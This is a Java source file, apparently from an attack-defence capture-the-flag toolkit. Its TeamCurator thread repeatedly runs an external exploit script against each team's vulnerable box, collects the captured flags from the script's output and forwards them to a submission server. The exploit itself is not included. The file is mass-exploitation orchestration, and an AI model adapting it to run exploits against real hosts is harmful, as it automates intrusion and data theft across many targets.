package network;

import java.io.*;
import java.net.*;
import java.nio.CharBuffer;

import org.omg.CORBA.portable.ApplicationException;

public class TeamCurator extends Thread {

//----------------- CONFIGURATION ----------------
			/*TODO:	read this form file*/

	public static String exploitFileName = "zero.pl"; 
	public static String exploitName = "ZeroExploit";
	public static String efServerIp = "10.15.1.130";
	public static int efServerPort = 62674;
	public static String vulnBoxSuff = "3"; 
	public static int exploitRestartDelay = 10000;
	public static int flagWaitDelay = 5000;
	public static int timesToWaitFlag = 4;

	//not implemented yet :)
	public static String logFileName  = "logs/" + exploitName + ".txt";
	
//------------------------------------------------	
	
	
	//public static int BUF_SIZE = 1024;
	
	
	
			
	private String teamIp;
	public String teamName;
	
	public TeamCurator(String ip, String name) {
		teamName = name;
		teamIp = ip + vulnBoxSuff;
	}
	
	public void run() {
		System.out.println("Team " + teamName + " <=> " + teamIp + " started!");
		Socket efServerSock = createSocket(efServerIp, efServerPort);
		
		if (efServerSock != null){
			BufferedWriter efServerWriter = null;
			BufferedReader exploitReader = null;
			//InputStreamReader exploitUnbufferedReader = null;

			try {
				efServerWriter = new BufferedWriter(new OutputStreamWriter(efServerSock.getOutputStream()));
				efServerWriter.write(exploitName + " " + teamIp + "\r\n");
			} catch (IOException e1) {
				System.err.println("ERROR! IO exception in getting buffer from efServerSock!");
				System.err.println(e1.getMessage());
				return;
			}
			
			while (true){//exploit restarting									
				
				System.out.println("Starting exploit " + exploitFileName + " for team " + teamName + "(" + teamIp + ")");
				Runtime runtime = Runtime.getRuntime();
				Process exploitProcess;
				try {
					exploitProcess = runtime.exec(exploitFileName + " " + teamIp);
					//exploitUnbufferedReader = new InputStreamReader(exploitProcess.getInputStream());
					exploitReader = new BufferedReader(new InputStreamReader(exploitProcess.getInputStream()));
					
					//char[] buff = new char[BUF_SIZE];
							
					int noFlagTimes = 0;
					while (true){//getting flags from process
						String flag;						
						//if (exploitUnbufferedReader.ready()){
						if (exploitReader.ready()){
							noFlagTimes = 0;
							//int actualyReadAmnt = exploitUnbufferedReader.read(buff, 0, BUF_SIZE);
							//flag = new String(buff, 0, actualyReadAmnt);
							flag = exploitReader.readLine();
							System.out.println(teamName + "(" + teamIp + ") -> " + flag);
							try {
								efServerWriter.write(flag+"\r\n");
								efServerWriter.flush();
							} catch (IOException e) {
								System.err.println("ERROR! IO exception in sending flag to efServer");
								System.err.println(e.getMessage());
								return; //we need to stop tread - moderator would restart us
							}
							
						}
						else{
							noFlagTimes++;
							if (noFlagTimes < timesToWaitFlag){
								sleep(flagWaitDelay);
								
							}
							else{
								break; //it's time to kill this exploit - too long time to work
							}						
						}					
					}
					
					System.err.println("Exploit says nothing for too long time(" + flagWaitDelay*timesToWaitFlag + " ms) Killing him if he is alive!");
					exploitProcess.destroy();
					sleep(exploitRestartDelay);
					
				} catch (IOException e1) {
					System.err.println("ERROR! IO exception in creating/processing exploit");
					System.err.println(e1.getMessage());
				} catch (InterruptedException e) {
					System.err.println("TeamCurator was interrupted when sleeping! What does it mean?");
					System.err.println(e.getMessage());
				}
					
				
			}
		}
		else{
			System.err.println("Not connected to efServer. Exiting thread");
		}
	}
	
	private Socket createSocket(String ip, int port){
		Socket efServerSock = null;
		try {
			efServerSock = new Socket(InetAddress.getByName(ip),port);
		} catch (UnknownHostException e) {
			System.err.println("Unknown host " + ip);
			System.err.println(e.getMessage());
		} catch (IOException e) {
			System.err.println("IO problem creating socket to efServer " + ip);
			System.err.println(e.getMessage());
		}
		return efServerSock;	
	}

}
